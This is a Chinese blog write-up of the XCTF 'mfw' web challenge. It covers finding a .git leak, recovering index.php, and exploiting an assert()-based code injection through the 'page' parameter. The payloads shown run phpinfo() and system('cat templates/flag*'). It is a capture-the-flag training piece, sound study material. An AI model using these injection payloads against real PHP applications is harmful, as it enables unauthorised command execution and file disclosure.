• xctf攻防世界 Web高手进阶区 mfw


    0x01. 进入环境,查看问题

    题目给出的内容如图:
    在这里插入图片描述
    一通点击后,发现链接中出现page=***的字样,说明page传参是重点,是问题的突破口。

    0x02. 问题分析

    0x02_1. 使用dirsearch扫描看看

    在这里插入图片描述
    可以发现有很多.git文件,说明存在git泄露。。。

    0x02_2. 使用githack拉下来源码

    在这里,我们需要githack工具将代码拉下来,如图:
    在这里插入图片描述

    0x02_3. 代码审计

    我们挑选重要代码,查看index.php,如下:

    
    
    if (isset($_GET['page'])) {
    	$page = $_GET['page'];
    } else {
    	$page = "home";
    }
    
    $file = "templates/" . $page . ".php";
    
    // I heard '..' is dangerous!
    assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
    
    // TODO: Make this look nice
    assert("file_exists('$file')") or die("That file doesn't exist!");
    
    ?>
    
    • 1
    • 2
    • 3
    • 4
    • 5
    • 6
    • 7
    • 8
    • 9
    • 10
    • 11
    • 12
    • 13
    • 14
    • 15
    • 16
    • 17

    可以看到,使用page传递参数,接着使用file进行拼接,最后使用assert断言进行执行相关程序。
    在这里,我们需要熟悉几个函数。

    strpos() 函数查找字符串在另一字符串中第一次出现的位置,如果没有找到字符串则返回 FALSE。
    语法:strpos(string,find,start)
    参数 描述
    string 必需。规定要搜索的字符串。
    find 必需。规定要查找的字符串。
    start 可选。规定在何处开始搜索。

    file_exists() 函数检查文件或目录是否存在
    如果指定的文件或目录存在则返回 true,否则返回 false。

    PHP5: assert ( mixed $assertion [, string $description ] ) : bool
    PHP7: assert ( mixed $assertion [, Throwable $exception ] ) : bool
    assert() 会检查指定的 assertion 并在结果为 FALSE 时采取适当的行动

    在这里,如果assertion是字符串,他会被assert()当做php代码执行。 思路是通过可控变量file传入恶意参数,构造闭合 file_exists(),使assert()执行恶意代码。

    0x02_4. 构造payload

    我们尝试使用:

    page=') or phpinfo();//
    
    • 1

    发现直接回显内容如图:
    在这里插入图片描述
    因为file有构造templates,猜测flag可能位于templates目录下,我们继续构造payload,如下:

    page=') or system("cat templates/flag*");//
    
    • 1

    回显无内容,实际上是被注释了,我们F12查看控制台回显,如图:
    在这里插入图片描述

    0x03. 构造原理

  • 相关阅读:
    【人工智能】百度文心一言智能体:AI领域的新里程碑
    lintcode 820 · 矩形【中等 vip 枚举法 数学】
    C++每日面试之struct 和 class
    模拟退火遗传算法优化飞行路线,模拟退火遗传算法路径优化
    cookie (攻防世界)
    在windows7中运行pycharm报错误“无法定位程序输入点 CreateAppContainerProfile 于动态链接库 USERENV.dll 上
    视觉SLAM14讲笔记-第5讲-相机与图像
    图神经网络入门 (GNN, GCN)
    密码学系列之:PEM和PKCS7,PKCS8,PKCS12
    vite+vue3+ts中watch和watchEffct的使用
  • 原文地址:https://blog.csdn.net/l8947943/article/details/126280784